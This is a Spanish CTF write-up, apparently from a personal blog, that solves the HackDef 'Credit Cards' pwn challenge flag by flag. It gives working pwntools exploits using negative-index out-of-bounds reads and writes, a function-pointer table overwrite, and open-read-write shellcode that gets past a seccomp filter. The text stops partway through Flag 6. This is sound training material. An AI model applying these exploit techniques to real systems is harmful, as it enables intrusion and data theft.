xchg2pwn

xchg2pwn


Entusiasta del reversing y desarrollo de exploits



HackDef

Credit Cards



Analysis


Al ejecutar el binario que se otorga simplemente muestra una dirección de memoria, que ahora mismo no sabemos que es pero podria servirnos como leak del binario.

Iniciamos desensamblando el binario, la función main, reserva espacio a una variable varGlobal y le establece como contenido la string A o 0x41, luego muestra la dirección de la varible con printf y llama a 3 funciones que ahora analizaremos.

❯ tree
.
├── Dockerfile
├── banner_fail
├── build.sh
├── chal
│   ├── Makefile
│   ├── chal
│   ├── chal.cpp
│   ├── check_functions.cpp
│   ├── check_functions.h
│   ├── hackdef.cpp
│   ├── hackdef.h
│   ├── libc.so.6 -> libchecks.so
│   ├── libchecks.so
│   ├── libhackdef.so
│   ├── print_flag.cpp
│   └── print_flag_docker
├── service.conf
├── start.sh
├── stop.sh
└── wrapper

2 directories, 19 files

❯ cat Dockerfile
FROM ubuntu:latest

RUN apt-get -qq update && apt-get install -qq --no-install-recommends xinetd libssl3

RUN groupadd -g 1001 ctf
RUN useradd -m -u 1001 -g 1001 -s /bin/bash ctf

COPY service.conf /service.conf
COPY banner_fail /banner_fail
COPY wrapper /wrapper

COPY chal/chal /home/ctf/chal
RUN chown ctf:ctf /home/ctf/chal

COPY chal/libchecks.so /usr/lib/x86_64-linux-gnu/
COPY chal/libhackdef.so /usr/lib/x86_64-linux-gnu/

COPY chal/print_flag_docker /print_flag
RUN chmod 755 /print_flag
RUN chmod u+s /print_flag

COPY flags/flag_00.txt /
COPY flags/flag_01.txt /
COPY flags/flag_02.txt /
COPY flags/flag_03.txt /
COPY flags/flag_04.txt /
COPY flags/flag_05.txt /
RUN chmod 444 /flag_0*.txt

COPY flags/flag_06.txt /root/
COPY flags/flag_ahaumx.txt /root/
COPY flags/flag_bluetm.txt /root/
COPY flags/flag_hackfc.txt /root/
COPY flags/flag_hawkss.txt /root/
COPY flags/flag_mylpwn.txt /root/
COPY flags/flag_pwndir.txt /root/
COPY flags/flag_snoopy.txt /root/
COPY flags/flag_takzac.txt /root/
COPY flags/flag_yaquic.txt /root/
RUN chmod 400 /root/flag_*.txt

EXPOSE 1380

USER ctf
CMD ["/usr/sbin/xinetd", "-filelog", "/dev/stderr", "-dontfork", "-f", "/service.conf"]

❯ ls -l /print_flag
-rwsr-xr-x 1 root root 50912 Oct 19 15:18 /print_flag

❯ ls -l /usr/lib/x86_64-linux-gnu/libchecks.so
-rwxr-xr-x 1 root root 900168 Oct 19 15:17 /usr/lib/x86_64-linux-gnu/libchecks.so

❯ ls -l /usr/lib/x86_64-linux-gnu/libhackdef.so
-rwxr-xr-x 1 root root 267520 Oct 19 15:17 /usr/lib/x86_64-linux-gnu/libhackdef.so

❯ ls -l /flag_0*.txt
.rw-r--r-- root root 31 B Sun Oct 19 16:38:10 2025  /flag_00.txt
.rw-r--r-- root root 31 B Sun Oct 19 15:54:24 2025  /flag_01.txt
.rw-r--r-- root root 31 B Sun Oct 19 15:54:24 2025  /flag_02.txt
.rw-r--r-- root root 31 B Sun Oct 19 15:54:24 2025  /flag_03.txt
.rw-r--r-- root root 31 B Sun Oct 19 15:54:24 2025  /flag_04.txt
.rw-r--r-- root root 31 B Mon Oct 20 11:53:27 2025  /flag_05.txt

❯ cat cat /flag_0*.txt
hackdef{0_f4k3_fl4g_4_t35t1ng}
hackdef{1_f4k3_fl4g_4_t35t1ng}
hackdef{2_f4k3_fl4g_4_t35t1ng}
hackdef{3_f4k3_fl4g_4_t35t1ng}
hackdef{4_f4k3_fl4g_4_t35t1ng}
hackdef{5_f4k3_fl4g_4_t35t1ng}

❯ sudo ls -l /root/flag_*.txt
.rw-r--r-- root root 31 B Sat Nov  1 15:58:43 2025  /root/flag_06.txt
.rw-r--r-- root root 37 B Sun Nov  2 10:58:22 2025  /root/flag_mylpwn.txt

❯ sudo cat /root/flag_*.txt
hackdef{6_f4k3_fl4g_4_t35t1ng}
hackdef{mylpwn_f4k3_fl4g_4_t35t1ng}

❯ ./chal
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> cnt_checker = 1
Checking... 550
OK

int main() {
    init_buffers();
    init_flagprocess();
    init_seccomp();
    init_handlers();
    init_flags();

    ignorar_signals();

    std::future<void> fut_flag_check = std::async(std::launch::async, service_flag_checker);

    std::future<void> fut = std::async(std::launch::async, service_checker);
    std::future<void> fut2 = std::async(std::launch::async, main_menu);

    fut.wait_for(std::chrono::seconds(30));

    return 0;
}

#define TIMEOUT_CHECK_FUNC 100

CheckFunc handlers[NUM_CHECK_FUNCS];

void init_handlers() {
    handlers[0] = fn_000;
    handlers[1] = fn_001;
    handlers[2] = fn_002;
    handlers[3] = fn_003;
    .........................
    handlers[1157] = fn_1157;
    handlers[1158] = fn_1158;
    handlers[1159] = fn_1159;
}

#define NUM_CHECK_FUNCS 290 * 4
#define TIMEOUT_CHECK_FUNC 100

void service_checker() {
    int cnt_checks = 0;

    while (cnt_checks++ < 4) {
        std::cout << "cnt_checker = " << cnt_checks << std::endl;
        int op = randint(NUM_CHECK_FUNCS - 1);

        std::future<bool> fut = std::async(std::launch::async, execute_check, op);

        if (fut.wait_for(std::chrono::milliseconds(TIMEOUT_CHECK_FUNC)) == std::future_status::ready) {
            bool result = fut.get();

            if (result) {
                std::cout << "OK" << std::endl;
            } else {
                std::cout << "WA - Algo no anda bien. Te estare vigilando..." << std::endl;
                salir();
            }

        } else {
            std::cout << "Te descubri hacker!" << std::endl;
            salir();
        }

        std::this_thread::sleep_for(std::chrono::seconds(10));
    }

    puts("Bye!");
    salir();
}

bool execute_check(int op) {
    std::cout << "Checking... " << op << std::endl;

    switch (op) {
        case 0: return check_000(handlers[0]);
        case 1: return check_001(handlers[1]);
        case 2: return check_002(handlers[2]);
        .............................................
        case 1157: return check_1157(handlers[1157]);
        case 1158: return check_1158(handlers[1158]);
        case 1159: return check_1159(handlers[1159]);

        default:
            std::cout << "NO" << std::endl;
            salir();
    }

    return true;
}

#define TIMEOUT_CHECK_FUNC 160

bool check_000(CheckFunc check) {
    int a=397540806, b=808190108, c=948268558, d=403076592, e=488643755;
    std::future<void> fut = std::async(std::launch::async, check, &a, &b, &c, &d, &e);

    if (fut.wait_for(std::chrono::microseconds(TIMEOUT_CHECK_FUNC)) == std::future_status::ready) {
        if (b != 152045996) return false;
        if (c != 727562417) return false;
        if (d != 153545182) return false;

        return true;
    } else {
        return false;
    }
}

bool check_1159(CheckFunc check) {
    int a=852726792, b=398756715, c=1025465896, d=783751113, e=391710928;
    std::future<void> fut = std::async(std::launch::async, check, &a, &b, &c, &d, &e);

    if (fut.wait_for(std::chrono::microseconds(TIMEOUT_CHECK_FUNC)) == std::future_status::ready) {
        if (e != 898176514) return false;
        if (a != 117814948) return false;
        if (d != 87295856) return false;

        return true;
    } else {
        return false;
    }
}

void fn_000(int *a, int *b, int *c, int *d, int *e) {
    *b = 152045996;
    *c = 727562417;
    *a = 333394009;
    *d = 153545182;
    *e = 460636857;
}

void fn_1159(int *a, int *b, int *c, int *d, int *e) {
    *b = 76210336;
    *c = 778987935;
    *d = 87295856;
    *a = 117814948;
    *e = 898176514;
}


Flag 0


void main_menu() {
    bool op_leer = true;
    bool op_reporte = true;

    while (1) {
        int op = leer_opcion();

        switch (op) {
            case 1:
                registrar_tarjeta();
                break;

            case 2:
                registrar_NIP();
                break;

            case 3:
                if (op_leer) {
                    op_leer = false;
                    consultar_NIP();
                } else {
                    puts("No no no");
                }
                break;

             case 4:
                borrar_NIP();
                break;

            case 5:
                puts("Bye!");
                salir();
                return;

            case 0x52e6:
                if (op_reporte) {
                    op_reporte = false;
                    info_reporte();
                } else {
                    puts("No no no");
                }
                break;

            default:
                puts("Opcion incorrecta");
                return;
        }
    }
}

std::string tarjetas[0x100];
int cnt_tarjetas = 0;

void registrar_tarjeta() {
    if (cnt_tarjetas == 0x100) {
        puts("Maximo de tarjetas alcanzado.");
        salir();
    }

    unsigned int idx = cnt_tarjetas++;

    if (idx < cnt_tarjetas) {
        std::cin >> tarjetas[idx];
        std::cout << "OK" << std::endl;
    } else {
        puts("Interesante...");
        salir();
    }
}

uint64_t nip_cifrado[0x100];

void registrar_NIP() {
    int idx = leer_idx();

    if (idx < cnt_tarjetas) {
        puts("Debes cifrar el NIP con AES-256-CBC usando la llave 'hackdef'.");
        puts("Luego obtienes el hash SHA-512.");
        std::cout << "TAM DEL HASH: ";
        unsigned int n = 0;
        std::cin >> n;
        lee_basura_endl();

        if (n <= 0x1000) {
            std::cout << "NIP: ";
            fread(&nip_cifrado[idx], 1, n, stdin);
            std::cout << "OK" << std::endl;
        } else {
            std::cout << "tam no valido" << std::endl;
            salir();
        }
    }
}

void consultar_NIP() {
    puts("Admin requerido.");
    std::cout << "User: ";
    std::string user;
    std::cin >> user;
    std::cout << "Pass: ";
    std::string pass;
    std::cin >> pass;

    if (user == "admin" && pass == "MM\x11N") {
        int idx = leer_idx();
        std::cout << "SECRETO: " << nip_cifrado[idx] << std::endl;
    } else {
        std::cout << "NEL" << std::endl;
    }
}

char flag_00[0x30];

void init_flags() {
    std::string tmp;
    leer_archivo("/flag_00.txt", tmp);
    strcpy(flag_00, tmp.c_str());
    strcpy(check_flag01, "NOMOSTRAR__FLAG");
}

❯ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)
pwndbg> r
Starting program: /home/user/chal
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
cnt_checker = 1
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> Checking... 588
OK

pwndbg> x/s &flag_00
0x5555555bc840 <flag_00>:       "hackdef{0_f4k3_fl4g_4_t35t1ng}"
pwndbg> p/d (&flag_00 - &nip_cifrado) / 8
$1 = -1036
pwndbg>

#!/usr/bin/python3
from pwn import process

shell = process("./chal")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process './chal': pid 2213
[*] Switching to interactive mode
OK
> $ -1036
SECRETO: 8891905996262433128
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> $

❯ python3 -q
>>> from pwn import p64
>>> p64(8891905996262433128)
b'hackdef{'
>>>

#!/usr/bin/python3
from pwn import process, p64, log

flag = b""

for i in range(-1036, -1030, 1):
    shell = process("./chal", level="error")

    shell.sendlineafter(b"> ", b"3")
    shell.sendlineafter(b": ", b"admin")
    shell.sendlineafter(b": ", b"MM\x11N")

    shell.sendlineafter(b"> ", str(i).encode())
    shell.recvuntil(b": ")

    flag += p64(int(shell.recvline().strip()))

    if b"}" in flag:
        flag = flag.split(b"}")[0] + b"}"
        break

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[*] Flag: hackdef{0_f4k3_fl4g_4_t35t1ng}


Flag 1


char check_flag01[0x10];

void init_flags() {
    std::string tmp;
    leer_archivo("/flag_00.txt", tmp);
    strcpy(flag_00, tmp.c_str());
    strcpy(check_flag01, "NOMOSTRAR__FLAG");
}

void service_flag_checker() {
    std::this_thread::sleep_for(std::chrono::seconds(5));

    if (!memcmp(check_flag01, "MOSTRAR_FLAG_SI\0", 0x10)){
        imprimir_flag("/flag_01.txt");
    } else if (addr_fn000 == fn_000) {
        imprimir_flag("/flag_02.txt");
    } else if (handlers[0] != fn_000) {
        imprimir_flag("/flag_03.txt");
    }
}

pwndbg> x/s &check_flag01
0x5555555bc870 <check_flag01>:  "NOMOSTRAR__FLAG"
pwndbg> p/d (&check_flag01 - &nip_cifrado) / 8
$1 = -1030
pwndbg>

#!/usr/bin/python3
from pwn import gdb

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-1030")
shell.sendlineafter(b": ", b"16")
shell.sendlineafter(b": ", b"MOSTRAR_FLAG_SI\x00")

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 3771
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal']
[*] Switching to interactive mode
OK
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> $

pwndbg> x/s &check_flag01
0x5e7f3d479870 <check_flag01>:  "MOSTRAR_FLAG_SI"
pwndbg>

#!/usr/bin/python3
from pwn import process, log

shell = process("./chal")

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-1030")
shell.sendlineafter(b": ", b"16")
shell.sendlineafter(b": ", b"MOSTRAR_FLAG_SI\x00")

shell.recvuntil(b"> ")
flag = shell.recvline_contains(b"hackdef")

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 2500
[*] Flag: hackdef{1_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 2500)


Flag 2


CheckFunc addr_fn000 = 0;

void service_flag_checker() {
    std::this_thread::sleep_for(std::chrono::seconds(5));

    if (!memcmp(check_flag01, "MOSTRAR_FLAG_SI\0", 0x10)){
        imprimir_flag("/flag_01.txt");
    } else if (addr_fn000 == fn_000) {
        imprimir_flag("/flag_02.txt");
    } else if (handlers[0] != fn_000) {
        imprimir_flag("/flag_03.txt");
    }
}

pwndbg> x/4gx &handlers
0x5555555ba400 <handlers>:      0x00007ffff7f840f9      0x00007ffff7f8414a
0x5555555ba410 <handlers+16>:   0x00007ffff7f8419b      0x00007ffff7f841ec
pwndbg> x/i 0x00007ffff7f840f9
   0x7ffff7f840f9 <_Z6fn_000PiS_S_S_S_>:        endbr64
pwndbg> p/d (&handlers - &nip_cifrado) / 8
$1 = -2196
pwndbg>

pwndbg> x/gx &addr_fn000
0x5555555bc880 <addr_fn000>:    0x0000000000000000
pwndbg> p/d (&addr_fn000 - &nip_cifrado) / 8
$2 = -1028
pwndbg>

#!/usr/bin/python3
from pwn import gdb, p64

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-2196")
shell.recvuntil(b": ")

fn_000 = int(shell.recvline().strip())

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-1028")
shell.sendlineafter(b": ", b"8")
shell.sendlineafter(b": ", p64(fn_000))

shell.interactive()

pwndbg> x/gx &addr_fn000
0x5acd81702880 <addr_fn000>:    0x0000769b3c8030f9
pwndbg> x/gx &handlers
0x5acd81700400 <handlers>:      0x0000769b3c8030f9
pwndbg> p/x &fn_000
$1 = 0x769b3c8030f9
pwndbg>

#!/usr/bin/python3
from pwn import process, p64, log

shell = process("./chal")

shell.sendlineafter(b"> ", b"3")
shell.sendlineafter(b": ", b"admin")
shell.sendlineafter(b": ", b"MM\x11N")

shell.sendlineafter(b"> ", b"-2196")
shell.recvuntil(b": ")

addr_fn000 = int(shell.recvline().strip())

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-1028")
shell.sendlineafter(b": ", b"8")
shell.sendlineafter(b": ", p64(addr_fn000))

shell.recvuntil(b"> ")
flag = shell.recvline_contains(b"hackdef")

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 2708
[*] Flag: hackdef{2_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 2708)


Flag 3


void service_flag_checker() {
    std::this_thread::sleep_for(std::chrono::seconds(5));

    if (!memcmp(check_flag01, "MOSTRAR_FLAG_SI\0", 0x10)){
        imprimir_flag("/flag_01.txt");
    } else if (addr_fn000 == fn_000) {
        imprimir_flag("/flag_02.txt");
    } else if (handlers[0] != fn_000) {
        imprimir_flag("/flag_03.txt");
    }
}

pwndbg> x/gx &handlers
0x5555555ba400 <handlers>:      0x00007ffff7f840f9
pwndbg> p/d (&handlers - &nip_cifrado) / 8
$1 = -2196
pwndbg> p/x &fn_000
$2 = 0x7ffff7f840f9
pwndbg>

#!/usr/bin/python3
from pwn import gdb

shell = gdb.debug("./chal", "continue")

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", b"8")
shell.sendlineafter(b": ", b"A" * 8)

shell.interactive()

pwndbg> x/gx &handlers
0x637744cc5400 <handlers>:      0x4141414141414141
pwndbg> p/x &fn_000
$1 = 0x715ebd74e0f9
pwndbg>

#!/usr/bin/python3
from pwn import process, log

shell = process("./chal")

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", b"8")
shell.sendlineafter(b": ", b"A" * 8)

shell.recvuntil(b"> ")
flag = shell.recvline_contains(b"hackdef")

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 2789
[*] Flag: hackdef{3_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 2789)


Flag 4


case 0x52e6:
    if (op_reporte) {
        op_reporte = false;
        info_reporte();
    } else {
        puts("No no no");
    }
    break;

#define TAM_SHELLCODE 0x1000

void info_reporte() {
    std::cout << "Levantando reporte..." << std::endl;
    std::cout << "Tam de reporte: " << std::endl;
    unsigned int n;
    std::cin >> n;

    if (n > TAM_SHELLCODE) {
        std::cout << "Reporte muy grande" << std::endl;
        salir();
    }

    void *mem = mmap(nullptr, n + 0x10, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (mem == MAP_FAILED) {
        std::cout << "Error al levantar reporte. Contacta admin" << std::endl;
        return;
    }

    std::cout << "Ingresa detalles:";
    lee_basura_endl();
    fread(mem, 1, n, stdin);

    std::cout << "Reporte enviado. Numero de seguimiento: " << (uint64_t) (mem) << std::endl;
    imprimir_flag("/flag_04.txt");
}

#!/usr/bin/python3
from pwn import process, log

shell = process("./chal")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", b"8")
shell.sendlineafter(b":", b"A" * 8)

flag = shell.recvline_contains(b"hackdef")

log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 3411
[*] Flag: hackdef{4_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 3411)


Flag 5


#define TAM_SHELLCODE 0x1000

void info_reporte() {
    std::cout << "Levantando reporte..." << std::endl;
    std::cout << "Tam de reporte: " << std::endl;
    unsigned int n;
    std::cin >> n;

    if (n > TAM_SHELLCODE) {
        std::cout << "Reporte muy grande" << std::endl;
        salir();
    }

    void *mem = mmap(nullptr, n + 0x10, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    if (mem == MAP_FAILED) {
        std::cout << "Error al levantar reporte. Contacta admin" << std::endl;
        return;
    }

    std::cout << "Ingresa detalles:";
    lee_basura_endl();
    fread(mem, 1, n, stdin);

    std::cout << "Reporte enviado. Numero de seguimiento: " << (uint64_t) (mem) << std::endl;
    imprimir_flag("/flag_04.txt");
}

#!/usr/bin/python3
from pwn import gdb, asm

shell = gdb.debug("./chal", "continue")

shellcode = asm("""
    int3
    nop
    nop
    nop
    nop
    nop
    nop
    nop
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)

shell.interactive()

❯ python3 exploit.py
[+] Starting local process '/usr/bin/gdbserver': pid 4433
[*] running in new terminal: ['/usr/bin/gdb', '-q', './chal']
[*] Switching to interactive mode
OK
Reporte enviado. Numero de seguimiento: 124251023167488
hackdef{4_f4k3_fl4g_4_t35t1ng}
Servicio interno de tarjetas de credito
** Menu:
1. Registrar tarjeta
2. Registrar NIP
3. Consultar NIP
4. Borrar NIP
5. Salir
> $

pwndbg> x/8i 124251023167488
   0x710172195000:      int3
   0x710172195001:      nop
   0x710172195002:      nop
   0x710172195003:      nop
   0x710172195004:      nop
   0x710172195005:      nop
   0x710172195006:      nop
   0x710172195007:      nop
pwndbg> vmmap 124251023167488
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x710172182000     0x710172183000 rw-p     1000   34000 /usr/lib/x86_64-linux-gnu/libhackdef.so
►   0x710172195000     0x710172196000 rwxp     1000       0 [anon_710172195] +0x0
    0x710172196000     0x710172198000 rw-p     2000       0 [anon_710172196]
pwndbg>

#!/usr/bin/python3
from pwn import gdb, asm, p64

shell = gdb.debug("./chal", "continue")

shellcode = asm("""
    int3
    nop
    nop
    nop
    nop
    nop
    nop
    nop
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.interactive()

pwndbg> x/10gx &handlers
0x573d8835a400 <handlers>:      0x00006ffc0d281000      0x00006ffc0d281000
0x573d8835a410 <handlers+16>:   0x00006ffc0d281000      0x00006ffc0d281000
0x573d8835a420 <handlers+32>:   0x00006ffc0d281000      0x00006ffc0d281000
0x573d8835a430 <handlers+48>:   0x00006ffc0d281000      0x00006ffc0d281000
0x573d8835a440 <handlers+64>:   0x00006ffc0d281000      0x00006ffc0d281000
pwndbg> x/8i 0x00006ffc0d281000
   0x6ffc0d281000:      int3
   0x6ffc0d281001:      nop
   0x6ffc0d281002:      nop
   0x6ffc0d281003:      nop
   0x6ffc0d281004:      nop
   0x6ffc0d281005:      nop
   0x6ffc0d281006:      nop
   0x6ffc0d281007:      nop
pwndbg>

pwndbg> c
Continuing.
0x00006ffc0d281001 in ?? ()
pwndbg> x/8i $rip-1
   0x6ffc0d281000:      int3
=> 0x6ffc0d281001:      nop
   0x6ffc0d281002:      nop
   0x6ffc0d281003:      nop
   0x6ffc0d281004:      nop
   0x6ffc0d281005:      nop
   0x6ffc0d281006:      nop
   0x6ffc0d281007:      nop
pwndbg>

void init_seccomp() {
    scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_ALLOW);

    if (!ctx) {
        perror("seccomp_init");
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0) < 0) {
        perror("seccomp_rule_add(execve)");
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0) < 0) {
        perror("seccomp_rule_add(execveat)");
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(fork), 0) < 0) {
        perror("seccomp_rule_add(fork)");
        exit(1);
    }

    if (seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(vfork), 0) < 0) {
        perror("seccomp_rule_add(vfork)");
        exit(1);
    }

    if (seccomp_load(ctx) < 0) {
        perror("seccomp_load");
        seccomp_release(ctx);
        exit(1);
    }
}

#include <unistd.h>
#include <fcntl.h>

int main() {
    char buffer[64];

    int fd = open("/flag_05.txt", 0);

    read(fd, buffer, 64);
    write(1, buffer, 64);
}

shellcode = asm("""
    int3                        # breakpoint

    push 0x7478742e             # $rsp = &".txt"
    mov rax, 0x35305f67616c662f # $rax = "/flag_05"
    push rax                    # $rsp = &"/flag_05.txt"
    mov rdi, rsp                # $rdi = &"/flag_05.txt"
    cdq                         # $rdx = 0x0
    mov rsi, rdx                # $rsi = 0x0
    push 0x2                    # open()
    pop rax                     # $rax = open()
    syscall                     # syscall

    mov rdi, rax                # $rdi = fd
    mov rsi, rsp                # $rdi = $rsp
    push 0x40                   # 64 bytes
    pop rdx                     # $rdx = 64
    xor rax, rax                # $rax = read()
    syscall                     # syscall

    push 0x1                    # stoud
    pop rdi                     # $rdi = stdout
    mov rax, rdi                # $rax = write()
    syscall                     # syscall
""", arch="amd64")

0x00007d813ddf8001 in ?? ()
pwndbg> x/20i $rip
=> 0x7d813ddf8001:      push   0x7478742e
   0x7d813ddf8006:      movabs rax,0x35305f67616c662f
   0x7d813ddf8010:      push   rax
   0x7d813ddf8011:      mov    rdi,rsp
   0x7d813ddf8014:      cdq
   0x7d813ddf8015:      push   rdx
   0x7d813ddf8016:      pop    rsi
   0x7d813ddf8017:      push   0x2
   0x7d813ddf8019:      pop    rax
   0x7d813ddf801a:      syscall
   0x7d813ddf801c:      mov    rdi,rax
   0x7d813ddf801f:      mov    rsi,rsp
   0x7d813ddf8022:      push   0x40
   0x7d813ddf8024:      pop    rdx
   0x7d813ddf8025:      xor    rax,rax
   0x7d813ddf8028:      syscall
   0x7d813ddf802a:      push   0x1
   0x7d813ddf802c:      pop    rdi
   0x7d813ddf802d:      mov    rax,rdi
   0x7d813ddf8030:      syscall
pwndbg>

#!/usr/bin/python3
from pwn import process, asm, p64, log

shell = process("./chal")

shellcode = asm("""
    push 0x7478742e             # $rsp = &".txt"
    mov rax, 0x35305f67616c662f # $rax = "/flag_05"
    push rax                    # $rsp = &"/flag_05.txt"
    mov rdi, rsp                # $rdi = &"/flag_05.txt"
    cdq                         # $rdx = 0x0
    mov rsi, rdx                # $rsi = 0x0
    push 0x2                    # open()
    pop rax                     # $rax = open()
    syscall                     # syscall

    mov rdi, rax                # $rdi = fd
    mov rsi, rsp                # $rdi = $rsp
    push 0x40                   # 64 bytes
    pop rdx                     # $rdx = 64
    xor rax, rax                # $rax = read()
    syscall                     # syscall

    push 0x1                    # stoud
    pop rdi                     # $rdi = stdout
    mov rax, rdi                # $rax = write()
    syscall                     # syscall
""", arch="amd64")

shell.sendlineafter(b"> ", b"21222")
shell.sendlineafter(b": \n", str(len(shellcode)).encode())
shell.sendlineafter(b":", shellcode)
shell.recvuntil(b": ")

rwx = int(shell.recvline().strip())
payload = p64(rwx) * 512

shell.sendlineafter(b"> ", b"2")
shell.sendlineafter(b"> ", b"-2196")
shell.sendlineafter(b": ", str(len(payload)).encode())
shell.sendlineafter(b": ", payload)

shell.recvline_contains(b"hackdef")
flag = shell.recvline_contains(b"hackdef")
log.info(f"Flag: {flag.decode()}")

❯ python3 exploit.py
[+] Starting local process './chal': pid 5383
[*] Flag: hackdef{5_f4k3_fl4g_4_t35t1ng}
[*] Stopped process './chal' (pid 5383)


Flag 6


void init_flagprocess() {
    int p2c[2];
    int c2p[2];

    if (pipe(p2c) == -1) die("pipe p2c");
    if (pipe(c2p) == -1) die("pipe c2p");

    pid_t pid = fork();
    if (pid == -1) {
        die("fork");
    }

    if (pid == 0) {
        close(p2c[1]);
        close(c2p[0]);

        if (dup2(p2c[0], STDIN_FILENO) == -1) die("dup2 stdin");
        if (dup2(c2p[1], STDOUT_FILENO) == -1) die("dup2 stdout");
        if (dup2(c2p[1], STDERR_FILENO) == -1) die("dup2 stderr");

        close(p2c[0]);
        close(c2p[1]);

        const char *argv[] = {"print_flag", nullptr};
        execvp("/print_flag", const_cast<char *const *>(argv));

        die("execvp");
    } else {
        close(p2c[0]);
        close(c2p[1]);
    }
}

❯ gdb -q chal
Reading symbols from chal...
(No debugging symbols found in chal)
pwndbg> b *init_flagprocess+0x14e
Breakpoint 1 at 0x3fe88
pwndbg> r
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Breakpoint 1, 0x0000555555593e88 in init_flagprocess() ()
pwndbg> x/i $rip
=> 0x555555593e88 <_Z16init_flagprocessv+334>:  mov    eax,DWORD PTR [rbp-0x30]
pwndbg>

pwndbg> x/wx $rbp-0x2c
0x7fffffffdd04: 0x00000004
pwndbg> x/wx $rbp-0x28
0x7fffffffdd08: 0x00000005
pwndbg> x/wx $rbp-0x24
0x7fffffffdd0c: 0x00000006
pwndbg>

int main(int argc, char *argv[]) {
    init_buffers();
    imprimir_flag06();

    std::string token = "0";
    std::cin >> token;
    for (const char &c: token) {
        if (c < 'a') printError();
        if (c > 'z') printError();
    }

    std::string ruta_flag = "/root/flag_" + token + ".txt";
    if (!std::filesystem::exists(ruta_flag)) {
        std::cout << "Token incorrecto. Contacta un admin" << std::endl;
        return 0;
    }

    std::ifstream archivo(ruta_flag);
    if (!archivo.is_open()) {
        std::cout << "Error al abrir. Contacta un admin" << std::endl;
        return 0;
    }

    UUID nonce = get_random_uuid();
    print_hex(nonce.bytes, 0x10);

    SHA256_DIGEST digest = sha256_powN(nonce.bytes, 0x10, ITERACIONES);
    std::string ans_hex;
    std::cin >> ans_hex;

    if (ans_hex != digest.ToHex()) {
        std::cout << "NO. Respuesta incorrecta" << std::endl;
        std::cout << "La correcta era: " << digest.ToHex() << std::endl;
        return 0;
    }

    std::string flag;
    archivo >> flag;

    archivo.close();

    std::cout << flag << std::endl;
    return 0;
}

void imprimir_flag06() {
    std::ifstream archivo("/root/flag_06.txt");
    if (!archivo.is_open()) {
        std::cout << "Error al abrir flag06. Contacta un admin" << std::endl;
        exit(0);
    }

    std::string flag;
    archivo >> flag;
    archivo.close();

    std::cout << flag << std::endl;
}

❯ /print_flag
hackdef{6_f4k3_fl4g_4_t35t1ng}

shellcode = asm("""
    xor rax, rax # $rax = read()
    push 0x5     # /print_flag stdout
    pop rdi      # $rdi = fd
    mov rsi, rsp # $rdi = $rsp
    push 0x40    # 64 bytes
    pop rdx      # $rdx = 64
    syscall      # syscall

    push 0x1     # stoud
    pop rdi      # $rdi = stdout
    mov rax, rdi # $rax = write()
    syscall      # syscall
""", arch="amd64")

#!/usr/bin/python3
